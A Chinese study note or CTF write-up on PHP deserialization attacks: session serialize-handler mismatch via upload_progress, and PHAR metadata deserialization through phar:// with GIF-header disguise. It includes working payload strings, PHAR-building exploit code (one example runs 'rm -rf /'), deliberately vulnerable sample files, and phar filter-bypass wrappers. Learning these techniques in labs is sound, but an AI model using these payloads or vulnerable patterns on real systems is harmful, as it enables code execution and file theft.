【ini_set('session.serialize_handler', 'php');】
2. 如果存在GET方式传递进来的参数,就实例化Oowo类的对象,就会自动调用构造函数
__construct(),将phpinfo()赋值给变量$mdzz,在程序结束的时候调用析构函数__destruct()
通过eval执行$mdzz,说白了就是随便传一个参数,就可以看到php探针。
【随便利用GET传个参数,就可以开始创建,赋值,然后折构,输出执行,看到探针】
?phpinfo=123
在Url后面添加内容,即上述所示,传参看到探针

利用ctrl+f去搜索session


通过读取php探针文件发现了两个比较重要的信息:
本质上是利用Session存储引擎与读取引擎不匹配导致的反序列化漏洞,结合session.upload_progress机制实现对$_SESSION`的伪造赋值。
1. 默认的Session存储引擎为php_serialize,但是index.php告诉我们Session读取使用的是
php引擎,
因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
2. index.php代码中虽然没有对$_SESSION变量赋值,
但是session.upload_progress.enabled 为 On。符合使用upload_process机制对变量
$_SESSION赋值,并结合上面的Session反序列化来构造利用。
3.session.upload_progress.name 为 PHP_SESSION_UPLOAD_PROGRESS,可以本地创建
up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括
PHP_SESSION_UPLOAD_PROGRESS 变量。
以下是分步拆解:
1. 为什么“序列化/反序列化处理器不同”会导致漏洞?
PHP的Session数据需要**序列化**(存储时转成字符串)和**反序列化**(读取时转回原数据结构),
但如果这两个步骤使用的**处理器格式不一致**,就会导致数据解析错误,从而让攻击者可以构造恶意数据注入到Session中。
- 存储引擎用`php_serialize`:序列化格式是`键名|类型:长度:"值";`(如`user|s:5:"admin";`)。
- 读取引擎用`php`:反序列化格式是`键名|值`(如`user|admin`)。
当存储的`php_serialize`格式数据被`php`引擎读取时,会因格式不兼容而解析错误,攻击者可以利用这个“错误”构造任意数据写入Session。
2. 为什么`session.upload_progress.enabled`是关键?
`session.upload_progress.enabled = On`意味着:
当用户通过表单上传文件时,PHP会**自动将上传进度信息写入`$_SESSION
(即使代码中没有手动赋值$_SESSION`)。
攻击者可以利用这个机制,通过构造一个包含`PHP_SESSION_UPLOAD_PROGRESS`字段的表单,
**主动向`$_SESSION中写入自定义数据(比如恶意的反序列化Payload)。
3. 为什么要创建up_sess.html表单文件?
up_sess.html是一个用于触发文件上传的表单页面,核心作用是通过POST请求向
目标index.php提交数据,从而利用session.upload_progress机制向$_SESSION`写入伪造数据。 具体逻辑:
- 表单必须包含`enctype="multipart/form-data"`(支持文件上传)。
- 表单中添加隐藏字段`name="<?php echo ini_get('session.upload_progress.name'); ?>"`(默认值是`PHP_SESSION_UPLOAD_PROGRESS`),并设置`value`为自定义的“上传进度标识”
(如`hack`)。
- 当用户提交这个表单时,PHP会自动在`$_SESSION中生成一条以upload_progress_+value为键的记录,攻击者可以在这条记录中嵌入恶意的反序列化Payload。
后面内容,过于复杂,本人决定了解看懂即可。。。
up_sess.html
<form action="http://web.jarvisoj.com:32784/index.php"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" / >
<input type="submit" />
</form>
编写完这个表单之后,上传上去,正常就可以
PHP会自动在`$_SESSION中生成一条以upload_progress_+value为键的记录,攻击者可以在这条记录中嵌入恶意的反序列化Payload。

接下来构造序列化payload来读取flag:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
//用来打印当前文件绝对路径目录中的文件和目录的数组
}
$obj = new OowoO();
echo serialize($obj);
?>
接下来就要通过不同引擎的差异解析来构造反序列化payload,只需要在前面加上' | ',这样通过php引擎反序列化' | '后半部分,就可以打印出目录中的文件数组:
|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
#########################################################################
函数解析:
dirname(__FILE__):
__FILE__ 是PHP魔术常量,返回当前脚本的完整路径(如 /var/www/html/index.php);
dirname() 函数取路径的目录部分(如 /var/www/html)。
scandir(目录路径):扫描指定目录,返回包含所有文件和子目录名称的数组(包括 . 当前目录、.. 父目录)。
print_r(数组):以可读性强的格式打印数组内容(常用于调试)。
执行效果:
假设脚本位于 /var/www/html/test.php,执行后会输出类似:
Array ( [0] => . [1] => .. [2] => index.php [3] => uploads [4] => config.php )
应用场景:
1.调试时查看目录结构(如确认文件是否存在、路径是否正确)。
2.批量处理目录内文件(如遍历读取所有图片)。
注意事项
需确保PHP脚本对目标目录有读取权限,否则会返回空数组或报错。
生产环境中避免直接输出目录列表(存在信息泄露风险)。
这是PHP中常用的目录扫描调试代码,适用于快速查看脚本所在目录的文件结构。
在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串

发现flag文件与index.php文件在同一目录下,查看根目录路径:

读取flag文件:
|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4gYouT_You_Cannot_see.php"));";}
仔细分析这个内容:
若文件存在且脚本有读取权限,会直接输出该PHP文件的源代码或文本内容(例如flag值);若失败则输出false。
file_get_contents(文件路径):PHP内置函数,读取指定文件的全部内容并返回字符串(若文件不存在或无权限则返回false)。- /opt/lampp/htdocs/ 地址 是XAMPP(常见的PHP开发环境)的默认网站根目录,
Here_1s_7he_fl4gYouT_You_Cannot_see.php是目标文件(文件名暗示可能包含CTF竞赛中的flag)。
【2,3内容都是抄上面文件名和路径的】

phar伪协议触发php反序列化
前言
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上提出利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
phar介绍和漏洞给原理
phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。
PHAR是PHP的“压缩包”,但比普通ZIP更强大——不用解压就能直接用里面的文件。比如你把多个PHP脚本打包成xxx.phar,PHP可以直接通过phar://这个“通道”(流包装器)读取或执行包里的内容,就像操作普通文件一样方便。
phar文件有四部分构成:
你可以把PHAR想象成一个“带说明书的压缩包”,4部分对应不同功能:
1. a stub(识别标签)
识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,
对应的函数 Phar::setStub。
前期内容不限,但必须以 __HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。
- 相当于PHAR的“身份证”,告诉PHP:“我是PHAR文件,别把我当普通文本!”
- 格式固定:开头随便写(比如注释、广告),但必须以
__HALT_COMPILER();?>结尾。比如:
<?php echo "这是PHAR的开头注释"; __HALT_COMPILER();?>
- 没有这个结尾,PHP会把它当成普通PHP文件执行,而不是PHAR包。
2. a manifest describing the contents(内容清单)
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。
对应函数Phar::setMetadata—设置phar归档元数据。
- 相当于压缩包的“文件列表+说明书”:记录包里每个文件的名字、大小、权限,以及你自定义的“额外信息”(meta-data)。
- 关键:meta-data会被PHP自动序列化成字符串存储(比如你存一个数组
['name'=>'test'],会变成a:1:{s:4:"name";s:4:"test";})。这是漏洞的核心!
3. the file contents
被压缩文件的内容。
- 就是你打包进去的实际文件(比如PHP脚本、图片、文本),和普通压缩包一样。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。
- 相当于压缩包的“防伪码”,用来验证PHAR文件有没有被篡改。PHP会自动检查这个签名,如果被改了就拒绝使用。
这里有两个关键点:
1. 文件标识,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制
2. 反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。
一、核心逻辑:PHAR是“伪装高手+隐形炸弹”
你可以把PHAR漏洞理解为**“用伪装文件偷偷带恶意代码,再让网站自己触发代码执行”**,
核心是两个关键点:
二、关键点1:PHAR能伪装成任何文件(绕过上传限制)
PHAR文件的开头可以随便写内容(比如图片的头信息、PDF的标识),只要结尾有__HALT_COMPILER();?>,PHP就会认它是PHAR。
- 比如你想上传一个PHAR,但网站只允许传
.jpg图片:
-
- 先在PHAR文件开头加一行图片的“身份标识”(比如
GIF89a,这是GIF图片的开头标记)【十六进制改一下】; - 然后把文件后缀改成
.jpg,网站的上传检测会以为这是一张GIF图,直接通过; - 但PHP内部通过
phar://协议读取时,会忽略开头的伪装内容,只认结尾的标识——本质还是PHAR文件。
- 先在PHAR文件开头加一行图片的“身份标识”(比如
三、关键点2:只要读PHAR,就会触发恶意代码(隐形炸弹)
PHAR里存了一个叫meta-data的“额外信息”,这个信息是用serialize()(序列化)存的——相当于把代码“打包成字符串”。
- 当网站用文件操作函数(比如
file_exists()检查文件是否存在、fopen()打开文件)通过
phar://协议读取这个伪装的.jpg时:
-
- PHP会先解析这个文件,发现它其实是PHAR;
- 然后自动调用
unserialize()(反序列化)去解析meta-data里的字符串; - 如果meta-data里存的是恶意序列化代码(比如能执行系统命令的代码),反序列化时就会直接执行!
四、漏洞利用的完整流程(人话版)
- 做炸弹:制作一个PHAR文件,在meta-data里写入恶意序列化代码,开头加图片伪装(比如
GIF89a),改后缀为.jpg; - 送炸弹:把这个“伪装成图片的PHAR”上传到网站(因为是.jpg,网站检测不出来);
- 引爆炸弹:诱导网站用
phar://协议读取这个图片(比如网站有个“查看图片是否存在”的功能,你输入phar://上传的图片路径.jpg); - 代码执行:网站读取时自动反序列化meta-data,恶意代码被执行(比如删文件、偷数据)。
五、总结(一句话)
PHAR漏洞就是**“用伪装文件绕过上传,再让网站自己读文件时触发反序列化执行恶意代码”**——相当于给网站递了个“看似安全的包裹,一拆就炸”。
(注:现在PHP新版本已经修复了这个漏洞,但老网站如果没升级,仍有风险~)
构造有序列化的phar文件
补充
Phar::GZIP
是PHP中Phar类的一个压缩常量,用于指定PHAR文件内部文件的压缩方式为GZIP格式。
它的作用是:在创建PHAR文件时,通过compressFiles(Phar::GZIP)方法对PHAR包内的文件进行GZIP压缩,
减少PHAR文件的体积,同时不影响PHP对PHAR的正常解析(PHP会自动解压读取)。
类似的压缩常量还有Phar::BZIP2(BZIP2压缩)和Phar::NONE(不压缩,默认)。
setMetadata(evilObj)<strong>
是PHP中`Phar`类的方法,作用是</strong>将一个PHP对象(或数据)序列化后,
存入PHAR文件的「元数据(meta-data)」区域**。
### 关键细节:
1. **序列化自动触发**:
存入的`evilObj会被PHP自动执行serialize()(序列化),变成一串可存储的字符串;
2. **反序列化自动触发**:
当其他PHP代码通过phar://协议读取这个PHAR文件时,PHP会自动执行unserialize()(反序列化),
把字符串还原成原来的对象;
3. **漏洞核心**:
如果$evilObj是**恶意对象**(比如包含__destruct()`等魔术方法的类,能执行系统命令),
反序列化时就会触发这些恶意代码——这正是PHAR漏洞利用的关键步骤。
简单说:这个方法就是把“恶意代码打包成字符串”,藏进PHAR文件里,等别人读的时候“自动引爆”。
核心逻辑:
反序列化需要“模板”才能还原对象
你可以把序列化字符串理解为“对象的说明书”,而类(如EvilClass) 是“生产这个对象的模板”。
当PHP执行unserialize()(反序列化)时,
它需要先找到这个“模板”(类的定义),
才能根据“说明书”(序列化字符串)还原出完整的对象
——如果目标网站的代码里没有这个类的定义,PHP就不知道怎么还原,
反序列化会直接失败,恶意代码自然无法执行。
###################################################################
举个例子(人话版)
假设你在PHAR的meta-data里存了这样的恶意序列化字符串:
O:9:"EvilClass":0:{}
(翻译:这是一个叫EvilClass的对象,没有属性)
如果目标网站的代码里有这个类的定义:
class EvilClass {
public function __destruct() {
system('rm -rf /'); // 删文件的恶意代码
}
}
反序列化时,PHP会用这个类当“模板”,还原出EvilClass对象,
然后触发__destruct()(对象销毁时自动执行),恶意代码就跑起来了。
但如果目标网站没有这个类,PHP会报错:
Class 'EvilClass' not found,反序列化失败,恶意代码根本不会执行。
总结
恶意类必须在目标网站中存在,
本质是反序列化需要类的定义作为“模板”——就像你拿着“做蛋糕的说明书”,
但没有“蛋糕的配方”,永远做不出蛋糕。
(实战中,黑客常利用目标网站已有的类(比如框架自带的类)来构造恶意序列化字符串,不用自己写新类~)
PHP内置phar类,其中的一些方法如下:
//实例一个phar对象供后续操作
$phar = new Phar('joker.phar');
//开始缓冲Phar写操作
$phar->startBuffering()
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//以字符串的形式添加一个文件到 phar 档案
$phar->addFromString('test.php','<?php echo 'this is test file';');
//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar')
//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo()
构造恶意PHAR文件的完整步骤(含代码示例)
以下是3种常用的构造方法,均基于PHP原生功能实现,适合不同场景:
方法1:直接编写PHP代码生成(最灵活)
通过PHP的Phar类直接创建PHAR文件,可自定义meta-data(恶意序列化内容的核心)。
- 代码示例
(保存为create_phar.php):
<?php
// 1. 初始化PHAR文件(需开启php.ini中的phar.readonly=Off)
$phar = new Phar('malicious.phar');
// 2. 设置压缩方式(可选,这里用GZIP压缩)
$phar->compressFiles(Phar::GZIP);
// 3. 添加一个无害文件(比如test.txt,伪装用)
$phar->addFromString('test.txt', 'This is a fake file.');
// 4. 关键:写入恶意meta-data(这里用一个包含"执行命令"的类,需目标存在对应类)
class EvilClass {
public function __destruct() {
// 恶意代码:执行系统命令(比如Windows下弹计算器,Linux下执行ls)
system('calc.exe'); // 测试用,实际可替换为其他命令
}
}
$evilObj = new EvilClass();
$phar->setMetadata($evilObj); // 将对象序列化后存入meta-data
// 5. 设置Stub(伪装成GIF图片,绕过上传检测)
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
?>
- 执行方法:
-
- 修改
php.ini:将phar.readonly改为Off(默认是On,禁止创建PHAR);
- 修改

-
- 命令行运行:
php create_phar.php,生成malicious.phar; - 伪装后缀:将
malicious.phar改名为malicious.gif(或其他允许上传的格式)。
- 命令行运行:
【熟悉改后缀嘿嘿,这个抓包啥的都可以呀呀呀😄😄😄😄😄😄】
方法2:用phar-composer工具生成(适合打包项目)
【这个没有,我有了,就把这行删掉,但是不影响我学习😄】
如果需要打包整个PHP项目为PHAR,可使用phar-composer工具,同时注入恶意meta-data。
- 步骤:
-
- 安装工具:
composer global require clue/phar-composer; - 创建项目:新建一个PHP项目,在
composer.json中添加恶意类; - 打包PHAR:
phar-composer build ./your-project,生成your-project.phar; - 注入meta-data:用方法1的代码修改生成的PHAR,添加恶意meta-data。
- 安装工具:
方法3:手动修改现有PHAR文件(适合二次改造)
如果已有一个合法PHAR文件,可手动修改其meta-data注入恶意代码。
- 步骤:
-
- 解压PHAR:将
xxx.phar改名为xxx.zip,解压得到stub.php、manifest.xml等文件; - 修改meta-data:打开
manifest.xml,找到<metadata>标签,替换为恶意序列化字符串(比如O:9:"EvilClass":0:{}); - 重新打包:将修改后的文件压缩为ZIP,改回
.phar,并确保Stub结尾有__HALT_COMPILER();?>。
- 解压PHAR:将
关键注意事项
- 环境要求:必须开启
phar.readonly=Off才能创建PHAR,否则会报错; - 目标兼容性:恶意代码中的类(如
EvilClass)必须在目标网站中存在,否则反序列化时会失败; - 伪装技巧:Stub开头可添加任意文件标识(如
GIF89a、%PDF-1.4),对应修改后缀为
.gif、.pdf等,绕过上传过滤;
- 测试验证:生成PHAR后,可通过
file malicious.phar命令查看文件类型,确认伪装成功。
实操(上述理论
生成phar文件的代码如下:
phar.php
<?php
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='i am bmjoker';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "bmjoker");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>
运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开

可以明显的看到meta-data是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
|
受影响的文件操作函数列表 |
|
||||
|
fileatime |
filectime |
file_exists |
file_get_contents |
touch |
get_meta_tags |
|
file_put_contents |
file |
filegroup |
fopen |
hash_file |
get_headers |
|
fileinode |
filemtime |
fileowner |
fileperms |
md5_file |
getimagesize |
|
is_dir |
is_executable |
is_file |
is_link |
sha1_file |
getimagesizefromstring |
|
is_readable |
is_writable |
is_writeable |
parse_ini_file |
hash_update_file |
imageloadfont |
|
copy |
unlink |
stat |
readfile |
hash_hmac_file |
exif_imagetype |
这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once
对刚才生成的phar使用文件操作函数实现反序列化读取:
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
$filename = "phar://phar.phar/test.txt";
file_get_contents($filename);
?>

成功对meta-data里面的数据进行反序列化输出。
将phar伪装成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub,增加gif文件头
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->data = 'i am bmjoker';
//将自定义meta-data存入manifest
$phar->setMetadata($o);
//添加要压缩的文件
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
代码逐行解释
这段PHP代码的核心是创建一个伪装成GIF的PHAR文件,并在其中存入自定义对象
(用于演示PHAR的基础结构,无恶意代码)。
以下是逐行解析:
1. 类定义
class TestObject {
}
定义一个空类TestObject,用于后续创建对象存入PHAR的meta-data。
2. 删除旧文件(避免冲突)
@unlink("phar.phar");
@:抑制错误(如果phar.phar不存在,删除时不会报错);
unlink("phar.phar"):删除当前目录下已有的phar.phar文件,确保新文件能正常生成。
3. 初始化PHAR对象
$phar = new Phar("phar.phar");
-创建一个`Phar`类的实例,指定生成的PHAR文件名是`phar.phar`;
-注意:需确保`php.ini`中`phar.readonly = Off`(默认是On,禁止创建PHAR),否则会报错。
4. 开启缓冲(批量操作)
$phar->startBuffering();
开启PHAR的缓冲模式:在调用stopBuffering()前,所有修改(如添加文件、设置meta-data)
不会立即写入磁盘,而是先存在内存中,提升效率。
5. 设置Stub(伪装文件类型)
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
- **Stub**:PHAR文件的“引导代码”,PHP解析PHAR时会先执行这里的代码;
- `GIF89a`:GIF图片的文件头(魔术数字),用于伪装成GIF图片,绕过上传时的文件类型检测;
- `__HALT_COMPILER(); ?>`:固定语法,告诉PHP,停止执行后续代码,避免解析PHAR内部内容时出错。
6. 创建并赋值对象
$o = new TestObject();
$o->data = 'i am bmjoker';
- 实例化`TestObject`类,创建对象`$o`;
- 给对象动态添加`data`属性,赋值为`'i am bmjoker'`(演示如何给对象传数据)。
7. 存入meta-data
$phar->setMetadata($o);
将对象$o`**序列化**后,存入PHAR的meta-data区域 (PHAR的manifest文件中);
后续通过`phar:
//`协议读取PHAR时,可通过`$phar->getMetadata()反序列化取出这个对象。
8. 添加文件到PHAR
$phar->addFromString("test.txt", "test");
- 向PHAR包内添加一个名为`test.txt`的文件,内容是字符串`"test"`;
- 这一步是为了让PHAR包有实际内容(否则是空包)。
9. 停止缓冲并生成PHAR
$phar->stopBuffering();
//结束缓冲模式,将所有内存中的修改(添加文件、meta-data、Stub)写入磁盘,
//生成最终的phar.phar文件;
//自动计算 PHAR的签名(确保文件完整性),无需手动处理。
最终效果
运行代码后,会生成一个phar.phar文件:
用file phar.phar命令查看,会显示GIF image data(伪装成GIF);
改名为phar.gif后,可通过phar://phar.gif协议读取其内容或meta-data。
(注:这段代码是合法的PHAR创建示例,没有恶意代码,可用于学习PHAR的结构~)
运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开

采用这种方法可以绕过一些通过校验文件头的上传点。
来个小demo:
upload_file.php:
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
// 输出原始文件名(如test.gif)
echo "Type: " . $_FILES["file"]["type"];
// 输出MIME类型(如image/gif)
echo "Temp file: " . $_FILES["file"]["tmp_name"];
// 输出文件在服务器临时目录的路径(如/tmp/phpXXXXXX)
if (file_exists("upload_file/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
// 提示文件已存在
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
// 移动临时文件到目标目录
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
// 提示文件存储路径
}
}
else{
echo "Invalid file,you can only upload gif";
// 提示文件无效,仅允许上传GIF
}
?>
1. 条件判断:检查文件类型和后缀
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
-`$_FILES["file"]`**:
PHP接收上传文件的超全局变量,
`"file"`对应前端表单中`<input type="file" name="file">`的`name`属性;
-`$_FILES["file"]["type"]=="image/gif"`**:
检查文件的MIME类型是否为`image/gif`(由浏览器传递,可被伪造);
-`substr(..., strrpos(..., '.')+1) == 'gif'`**:
- `strrpos($_FILES["file"]["name"], '.')`:
找到文件名中最后一个`.`的位置(比如`test.gif`中`.`在第4位);
- `substr(..., +1)`:
截取`.`后面的字符串(即文件后缀,如`gif`);
- 整体是检查**文件后缀是否为`gif`**;
- **`&&`**:
两个条件同时满足才允许上传(但实际这两个检查都不安全,容易被绕过)。
upload_file.html
<body>
<form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>
代码逐行解释
这段PHP代码存在反序列化漏洞(通过phar://协议触发),
核心逻辑是file_exists()函数的参数可控,导致恶意PHAR文件中的对象被反序列化执行。
以下是逐行解析:
1. 接收用户输入
$filename = $_GET['filename'];
//通过GET请求获取参数filename (如?filename=test.txt);
//该参数直接传入后续的file_exists()函数,未做任何过滤,存在注入风险。
2. 定义恶意类
class AnyClass{
var $output = 'echo "ok";';
// 类的成员变量,默认值是输出"ok"的代码
//var:PHP中用于声明类成员变量的关键字,等价于public
function __destruct()
// 魔术方法:对象被销毁时自动调用
{
eval($this->output);
// 执行$output中的PHP代码(高危!)
}
}
//__destruct():
PHP的魔术方法之一,当对象的生命周期结束(如脚本执行完毕、对象被unset)时自动触发;
//eval():
将字符串作为PHP代码执行,这里直接执行`$output`的内容,若`$output`被篡改,会执行任意代码。
3. 漏洞触发点
file_exists($filename); // 漏洞点
file_exists():判断指定文件是否存在的函数;
关键漏洞:
当$filename`是`phar://`协议格式(如`phar://evil.phar`)时,
PHP会尝试解析该PHAR文件,并**自动反序列化其中的meta-data**(如果PHAR中存储了对象);
若攻击者构造一个包含`AnyClass`对象的PHAR文件(且`$output被改为恶意代码,如system('whoami');),
当file_exists("phar://evil.phar")执行时,PHAR中的对象会被反序列化,随后__destruct()触发,
eval()执行恶意代码。
漏洞利用流程(示例)
攻击者创建一个PHAR文件,其中meta-data存储AnyClass对象,且$output = 'system("ls");';
(执行系统命令);
将PHAR文件伪装成GIF(如evil.gif),通过之前的上传漏洞传到服务器;
构造URL:http://target.com/vuln.php?filename=phar://upload_file/evil.gif;
服务器执行file_exists(phar://...),反序列化PHAR中的对象,触发__destruct(),
最终执行system("ls");。
代码的危害
若服务器开启allow_url_fopen(默认开启),攻击者可通过phar:
//协议远程触发反序列化;
eval()函数直接执行任意代码,可导致服务器被完全控制(如写入webshell、执行系统命令)。
(注:修复方案包括过滤phar://等危险协议、避免将用户输入直接传入文件操作函数、禁用危险魔术方法等~)
upload_file.php对上传文件的类型,后缀进行了判断,限制为GIF文件。
而file_un.php文件主要使用file_exists()判断文件是否存在,并且存在魔术方法
__destruct()。
大概思路为首先根据file_un.php写一个生成phar的php文件,当然需要绕过为gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码。
构造payload代码eval.php:
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
访问file_upload.html将gif文件上传:
利用file_un.php使用phar协议来反序列化rce:
?filename=phar://upload_file/phar.gif
漏洞利用条件
1. phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),include()等文件操作的函数
2. 要有可用的魔术方法作为"跳板";
3. 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。
虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。
在禁止phar开头的情况下的替代方法:
compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
虽然会报warning,但是还是会执行。
CTF实战
这里取SWPUCTF中的一道利用phar伪协议触发反序列化的例子,
题目地址:https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP




<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source))
` 含义** 这行代码是**正则表达式匹配检查**,
用于过滤`$this->source中的危险字符/协议,核心作用是阻止包含特定关键词的内容**。
preg_match(正则表达式, 目标字符串):
PHP正则匹配函数,若目标字符串符合正则规则,返回1(匹配成功),否则返回0;
正则规则/http|https|file:|gopher|dict|\.\.|f1ag/i:
http|https|file:|gopher|dict:
匹配http/https(HTTP协议)、file:(本地文件协议)、gopher/dict(其他危险协议);
\.\.:匹配../(路径穿越的关键符号,用于访问上级目录);
f1ag:匹配字符串f1ag(可能是为了阻止用户获取包含flag(旗帜/密钥)的文件,
这里用1代替l是常见的绕过防护的变种,所以直接拦截);
i:修饰符,表示不区分大小写(如HTTP/Http都会被匹配);
整体逻辑:如果$this->source中包含上述任何关键词,条件成立(返回1),
通常后续会执行“拒绝操作”(如提示非法输入、终止流程)。
这行代码的目的是安全过滤,防止攻击者通过协议注入(如file:///etc/passwd读取本地文件)、
路径穿越(如../../etc/passwd)或获取敏感文件(如flag.txt)。
$this->source = phar://phar.jpg`
含义** 这行代码是将类的成员变量`$this->source赋值为字符串phar://phar.jpg,
核心是使用PHP的PHAR协议**访问文件。
phar://:
PHP的内置协议之一,用于访问PHAR文件(PHP Archive,PHP的归档格式,类似ZIP,可包含代码、资源等);
phar.jpg:
被访问的PHAR文件(这里后缀是.jpg,通常是攻击者为了绕过文件上传的后缀限制,将PHAR伪装成图片);
场景:结合你之前的代码(file_exists($filename)`触发反序列化),
若`$this->source后续被传入file_exists()等文件操作函数,
PHP会尝试解析phar://phar.jpg,自动反序列化PHAR中存储的对象,
从而触发__destruct()魔术方法执行恶意代码。
简单说:这是攻击者构造的PHAR协议路径,用于触发反序列化漏洞。

通读以上代码,来这个提取有用的信息:
1. base.php,
